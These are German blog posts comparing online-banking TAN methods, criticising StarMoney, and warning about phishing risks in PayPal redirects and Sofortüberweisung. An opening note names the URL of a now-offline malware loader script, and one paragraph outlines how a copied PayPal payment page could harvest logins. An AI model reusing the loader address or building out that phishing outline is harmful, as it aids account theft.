Nachtrag 22.09.2010: Inzwischen ist das Ladescript http://google-stats50.info/ur.php nicht mehr erreichbar und die Infektionen der davon betroffenen Websites laufen ins Leere. Das ist ja sowieso die Achillesverse solcherlei Angriffe: Sobald der verwendete Loader offline ist, ist der Spaß vorbei.

Ich nutze nun seit über zehn Jahren Online-Banking und bin bei meiner 11. TAN-Liste angekommen. Nun bekomme ich bei StarMoney bei jeder Überweisung die Meldung, dass ich auf smsTAN umstellen kann. Die Website meiner Sparkasse verrät, dass das 9ct/smsTAN kostet mit einer Ausnahme bei Premium-Konten. Trotz der zweistelligen Kontoführungsgebühren, die ich monatlich für meine verschiedenen Geschäfts- und Privatkonten, sowie meine Kreditkarte entrichte, gilt das auch für mich. Wieder einmal bleibe ich also beim klassischen (i)TAN-Verfahren, das weiterhin das bequemste bleibt.

Zu WG-Zeiten hatten wir ein gemeinsames WG-Konto für Miete und Nebenkosten bei der 1822direkt in Frankfurt, wofür ich extra einen Klasse-3-Kartenleser und eine HBCI-Karte angeschafft habe. Dieses Verfahren klang sicher und bequem, war es aber nicht. Also sicher schon, aber bequem keineswegs: Bei jedem Start von StarMoney mache ich einen automatischen Kontenrundruf und aktualisiere alle meine Konten. Leider muss man bei HBCI auch für das Abholen der Umsätze immer die PIN eingeben; bei allen TAN-Verfahren lässt sich die PIN hinterlegen, was in Kombination mit Programmpasswort und TAN-Liste ausreichend sicher ist. Das treibt einen in den Wahnsinn und so habe ich das WG-Konto nur alle paar Wochen aktualisiert. Das reicht aber noch nicht an Unbequemlichkeit: Hätte ich meine Konten bei der Düsseldorfer Stadtsparkasse ebenfalls auf HBCI mit Karte umgestellt, hätte ich bei jedem Kontorundruf zwei Karten und zwei PINs eingeben müssen. Es gibt bei HBCI mit Karte zwei inkompatible Kartensysteme und meine beiden Banken (obwohl beides Sparkassen) benutzten unterschiedliche Systeme, also nichts mit nur einer Karte. Diskettenwechsel sind seit dem Aufkommen von Festplatten reichlich out und ich werde mich garantiert nicht als Kartenjockey verdingen.

Mein Vater hat inzwischen einige TAN-Verfahren bei seiner (Genossenschafts-)Bank durch, aktuell hat er ein unfassbar kompliziertes chipTAN-Verfahren am Start: Man bekommt vom Bankprogramm zwei Codes angezeigt, die man in einen Kartenleser eintippt, in den man seine Kontokarte steckt. Dann kann man sich eine TAN generieren lassen, die man wiederum vom Winzdisplay des Kartenlesers ablesen und in den Computer eintippen muss. Wow, das bekommt den Preis für das lästigste TAN-Verfahren. Nur meine Mutter treibt mehr Aufwand für Überweisungen, indem sie Überweisungsträger ausfüllt und per Post (und jeweils frankiert) an ihre Bank sendet.

Meine Sparkasse bietet neben dem smsTAN-Verfahren, das sich wohl von selbst erklärt, auch ein chipTAN genanntes Verfahren an. Hierbei kauft man einen Kartenleser für einen geringen zweistelligen Betrag (Ausnahme Premium-Konten, die bekommen das Ding geschenkt), in den man immerhin keine zwei Codes eintippen muss, sondern das Gerät vor ein flackerndes Muster auf dem Bildschirm hält. Bei gesteckter Kontokarte erzeugt das Ding dann eine TAN, die man abtippen muss. Immer noch kompliziert, aber nicht so irre, wie zwei Codes abtippen zu müssen. Trotzdem viel komplizierter als einfach eine TAN von einer Liste abzutippen und durchzustreichen.

Es gibt noch etliche weitere mehr oder weniger komplizierte Verfahren für Menschen, die unachtsam genug sind, ihre TANs auf jeder dahergelaufenen Phishingseite einzugeben. Mein Tipp gegen die Angst vorm Phishing oder sonstigen Angriffen: Einfach kein Webbanking machen, StarMoney kostet zwar immer mal wieder Geld und nervt auch ziemlich, aber wer kein Webbanking macht, braucht sich nicht vor dessen Gefahren zu fürchten. HBCI mit PIN/TAN ist nachwievor das bequemste Online-Banking und wer einmal in StarMoney einen bestimmten Umsatz von vor vier Jahren gesucht und auf Anhieb gefunden oder alle Umsätze eines bestimmten Absenders heraus gefiltert hat, wird schon aus Bequemlichkeit kein Webbanking mehr machen wollen.

P.S. Ich tue deswegen so, als gäbe es neben StarMoney keine anderen Bankprogramme, weil ich mir die kostenlosen davon irgendwann einmal angesehen habe: Gruselig bis sehr gruselig. Und die anderen kommerziellen wirkten bei kurzer Betrachtung auch nicht weniger nervig als StarMoney und waren allesamt teurer. Also benutze ich seit Version 3.0 StarMoney und ärgere mich noch immer über die selben Kleinigkeiten. Beispiel: Auf meinem 24" Bildschirm ist massig Platz für die Umsatzliste, aber die beiden letzten Spalten (Buchungsbetrag und Saldo) stellen sich immer wieder auf eine zu schmale Breite zurück, bei der schon die dritte Stelle vor dem Komma nicht mehr ganz zu sehen ist. Anderes Beispiel: Wenn ich bei den Kreditkartenumsätzen eine Kategorie vergeben will, treffe ich häufiger das Feld dafür nicht genau, was die Liste dazu veranlasst, ganz an den Anfang zu springen. Und die Liste ist lang. Anderes Beispiel: In verschiedenen Listen (u.a. der Kategorienliste) kann man nicht mit dem Mausrad scrollen. Anderes Beispiel: Füllt man bei einer Überweisung nicht zuerst das Nanensfeld aus, werden alle anderen Felder beim ersten Buchstaben, den man in das Namensfeld eintippt automatisch mit den letzten Daten für den betreffenden Namen gefüllt. Man muss also immer zuerst den Namen ausfüllen oder man füllt mehrmals aus. Besonders lästig ist das in Kombination mit der bequemen Übernahmefunktion aus der Zwischenablage, wenn dort kein Name enthalten ist. Letztes Beispiel: Wenn man eine Kontonummer oder Bankleitzahl einfügen möchte, die Leerzeichen enthält, lehnt StarMoney das rundweg ab, statt einfach die Leerzeichen zu entfernen. Ich könnte noch ein paar Absätze lang so weiter machen.

Bei jeder PayPal-Zahlung habe ich Angst. Der übliche Workflow lädt nämlich geradezu ein zum Phishing: Man klickt irgendwo auf einen irgendwie gearteten "Bezahlen"-Button und wird auf die Paypal-Bezahlseite weitergeleitet. Wer jetzt nicht peinlich genau auf die Domain und die Signatur achtet, dem könnte man derart leicht eine gefälschte PayPal-Bezahlseite unterjubeln, dass es nur so brummt: Einfach per Copy and Paste so eine Bezahlseite kopieren und die Werte des Eingabefeldes über ein eigenes Script umleiten, schon hat man die Zugangsdaten des PayPal-Nutzers. Wenn man danach die echte PayPal-Seite aufruft, wird der Bezahlvorgang sogar erfolgreich abgeschlossen und der Nutzer bemerkt den Account-Diebstahl nicht mal.

Dieses Phishing-Risiko besteht bei allen Diensten, die so arbeiten, nicht nur bei PayPal und das hat einen ganz simplen Grund: Die Dienste befürchten einen Komfortverlust beim Nutzer und wenn die Bezahlung nicht einfach und schnell ist, nutzen die Kunden andere Dienste. Ein echtes Dilemma, denn technisch gäbe es verschiedene Lösungsansätze, die aber eben alle mit Komforteinbußen verbunden wären.

PayPal selber führt gerade zwei Sicherheitsfunktionen ein, die aber in meinen Augen das grundsätzliche Problem nicht beheben, sondern lediglich die Symptome mindern:

Verfahren Nummer eins kostet einmalig 4,95€ und beschert einem ein kleines Gerätchen, das alle 30 Sekunden eine sechsstellige Zahl generiert, die nur PayPal (und eBay) kennt. Diese Zahl gibt man beim Login zusammen mit Benutzername und Kennwort ein und weist so recht sicher nach, dass man der Accountinhaber ist und nicht jemand, der die Accountdaten geklaut hat. Geklaute Accountdaten werden damit weitgehend wertlos, müssen also nicht mehr so stark geschützt werden, Phishing läuft weitgehend ins Leere. Man kann nur noch im Moment des Phishings den dann gültigen LogIn-Code ausspähen und den einen Transfer verändern. Diese Lücke lässt sich weitgehend abdichten, ob PayPal das auch macht, steht auf einem anderen Blatt. Andererseits ist das vorerst auch gar nicht nötig, denn dieses Feature muss erst vom Nutzer aktiviert und bezahlt werden, und man muss ständig so einen lästigen Schlüsselanhänger parat haben. Weit verbreiten wird sich das also nicht und genau da liegt der Trick: Für Angreifer ist es einfacher, sich auf Nutzer ohne dieses Feature zu konzentrieren und die Leute mit TAN-Token in Ruhe zu lassen.

Verfahren Nummer zwei ist etwas handlicher und funktioniert ein wenig wie PayBox damals (bzw. noch heute in Österreich): Das Handy wird in den Bezahlvorgang einbezogen: PayPal akzeptiert Zahlungen nur mit einem per SMS verschickten Authentifizierungscode. Wer das Handy und das Passwort hat, hat also die Macht. Die Kosten für die SMS berechnet PayPal dem Nutzer. Ein durchaus angenehmes Verfahren, für das das oben gesagte ebenfalls gilt: Zu aufwändig anzugreifen, solange es genug Nutzer ohne das Feature gibt.

Beide Verfahren lassen sich auch ohne das jeweilige Sicherheitsmedium benutzen, in dem Fall werden dem Nutzer zwei vorher festgelegte Sicherheitsfragen vorgelegt und die richtigen Antworten schalten den Transfer frei. Aber beide Verfahren gehen das zentrale Problem nicht an: Der Bezahldienst authentifiziert sich nicht wirklich dem Benutzer gegenüber. Klar gibt es da ein Sicherheitszertifikat, das man sich im Browser anschauen kann und das man überprüfen sollte. Aber ich kenne niemanden, der das macht und auch ich selbst mache das nicht immer. Die meisten Leute wissen nicht mal, wie man das überprüft geschweige denn ist ihnen klar, was es überhaupt mit SSL-Zertifikaten auf sich hat. Das kann keine allgemeingültige Lösung sein. Das Verschicken eines Authentifizierungscodes per SMS ist schon ein guter Ansatz, wenn jetzt noch das Passwort erst einen Schritt nach dem Code abgefragt würde, wäre auch das Passwort vor Fehleingaben geschützt, weil der PayPal sich gleichzeitig mit diesem Code beim Nutzer authetifiziert (bzw. durch die Tatsache, dass ihnen die Handynummer bekannt ist). Selbst da fallen mir noch Angriffsszenarien ein, aber die sind weit entfernt vom Massenphishing und daher nicht so gravierend. Ich werde jedenfalls auf das SMS-Verfahren umstellen, wenn die SMS zu vernünftigen Preisen versendet werden. Genau genommen, hätte ich es längst gemacht, wenn die nur eine Minute gültige Aktivierungs-SMS käme. Mit sowas steht und fällt das System, denn wenn der Aktivierungscode nicht kommt, kann man nicht bezahlen.

P.S. apropos PayBox. Dieses System war wirklich gut, simpel zu handhaben und immens praktisch und sicher. Man musste nichts weiter machen, als seine Handynummer anzugeben und den Anruf vom PayBox Computer abzuwarten. Dort wird einem der Betrag genannt, der Empfänger und um die Eingabe der PIN gebeten. Gibt man die ein, wird die Zahlung freigegeben. Nix mit mehrehren Passwörtern oder gar TANs hantieren. Das System ist damals aus mehreren Gründen in Deutschland gescheitert: Der wichtigste war, dass 10 DM pro Jahr, die der Nutzer bezahlen musste, nicht ganz wenig sind. Was sollte das? Wollte man unbedingt scheitern?

P.P.S. die payPal-Hotline nervt total, nicht nur wegen des lästigen und wortreichen Voice-Menüs für 14¢/min, sondern auch weil sie mich für doof halten (gehen wir zusammen noch mal die Rufnummer durch…) und mir dann nicht weiter helfen (Probieren Sie es noch mal in ein paar Stunden und melden Sie sich nochmal, wenn das immer noch nicht klappt.). Fast acht Minuten vertane Telefongebühren.

Im Lawblog thematisiert Udo Vetter heute das grob fahrlässige System der Sofortüberweisung. Ich habe schon zwei mal mit größten Bauchschmerzen mit diesem System Bestellungen bezahlt und wollte immer mal was darüber schreiben. So denn.

Worum geht es also bei der Sofortüberweisung? Ähnlich wie bei PayPal wird man aus dem Bestellvorgang beim Online-Shop auf die Seite des Payment-Dienstleisters (sofortueberweisung.de und ich meine irgendwann noch einen weiteren gesehen zu haben) umgeleitet. Dort sieht man Details über die Bestellung im Online-Shop und tätigt dort die Zahlung. Bei der Sofortüberweisung gibt man dazu auf der Seite des Dienstleisters die eigene Kontonummer, die Bankleitzahl, den Kontoinhaber, die PIN und abschließend auch eine TAN ein. Der Dienstleister kontaktiert damit das Online-Banking der Bank und tätigt dort die Überweisung im Namen des Kontoinhabers. Hier stutze ich: Steht in den Nutzungsbedingungen der Banken nicht klipp und klar, dass man weder PIN noch TANs jemals einem Dritten überlasen darf? Sagt einem das nicht auch jeder Sicherheitsexperte? Für solche Vorgänge gibt es auch einen etablierten Namen: Phishing.

Das System ist also by Design ein Unding und läuft allen Bemühungen zur Phishing-Aufklärung zuwider. Warum wird es also von seriösen Online-Shops (mir fallen spontan conrad.de und cyberport.de ein) angeboten? Klar, es erweitert das System Vorkasse um die Möglichkeit der sofortigen Zahlungsbestätigung, das ist bequem für den Nutzer und den Anbieter zugleich. Aber zu welchen Kosten?

Ich rate dringend davon ab. Klar mag man dem Laden vertrauen, der sogar ein TÜV-Siegel trägt. Es ist ja nur ein Dienstleister und damit ist das ganze noch recht überschaubar. Aber was ist, wenn der nächste Laden einen anderen Dienstleister mit dem gleichen oder noch schlimmer einem nur ähnlichen System ins Spiel bringt? Was, wenn unseriöse Phisher sich eine beliebige neue Seite mit gefaketem TÜV-Logo bauen? Wer soll das unterscheiden können? Die Leute fallen ja schon auf schlecht gemachte Nachbauten ihrer eigenen Hausbank herein, die sie ganz gut kennen müssten. Und was, wenn die Daten bei dem Dienstleister nicht sicher sind? Soweit ich weiß, betreiben die kein Hochsicherheits-Rechenzentrum wie die Banken und stehen erst recht nicht für Missbrauch gerade. Ach ja: Für Bankkunden ohne PIN/TAN-Verfahren klappt das System schon mal gar nicht.

Das ist wie wenn man im Laden an der Kasse jemandem mit irgendeiner beliebigen Uniform ("Geldholservice" oder so) seine EC-Karte samt PIN in die Hand drückt, damit dieser beim Geldautomaten schnell Bargeld holen geht: Völlig irre, würde niemand machen (stimmt leider auch nicht). Die Bank kann sich bei solchem Missbrauch übrigens gemütlich zurücklehnen, immerhin hat man glasklar gegen die Nutzungsbedingungen verstoßen.

Eingeschränkt gilt meine Kritik auch PayPal und Co., weil man dort ebenso kaum kontrollierbar auf eine Paypal-Seite weitergeleitet wird, die im Prinzip jeder nachbauen könnte und damit die Paypal Zugangsdaten ergaunern. Wer achtet schon auf Sicherheitszertifikate und eine korrekte URL. Paypal ist Phishing-Risiko pur.

Ach ja, ich habe die Sofortüberweisung schon zwei mal genutzt. Warum tue ich sowas, obwohl ich Kunden und Freunden davon abrate? Beide Male brauchte ich die Ware recht dringend und konnte daher nicht auf Vorkasse zurückgreifen. Nachnahme ist indiskutabel teuer und das Paket kann dabei auch nicht bei den nachbarn abgegeben werden. Und schließlich habe ich für mein Geschäftskonto keine Kreditkarte. Ach ja: Bei Conrad klappte übrigens die Zurückleitung in den Shop nach der Zahlung nicht (ich benutze Opera, da funktionieren die wenigsten Zahlungsdienste sauber), so dass ich die Bestellung nur mit einer erneuten Befüllung eines Warenkorbs mit anschließender Vorkasse-Bestellung und einer Mail an den Support korrekt abschließen konnte. Hölle!

P.S. Klar haben die Shops eine berechtigte Angst vor Rücklastschriften, aber die Sofortüberweisung kann keine Lösung dafür sein.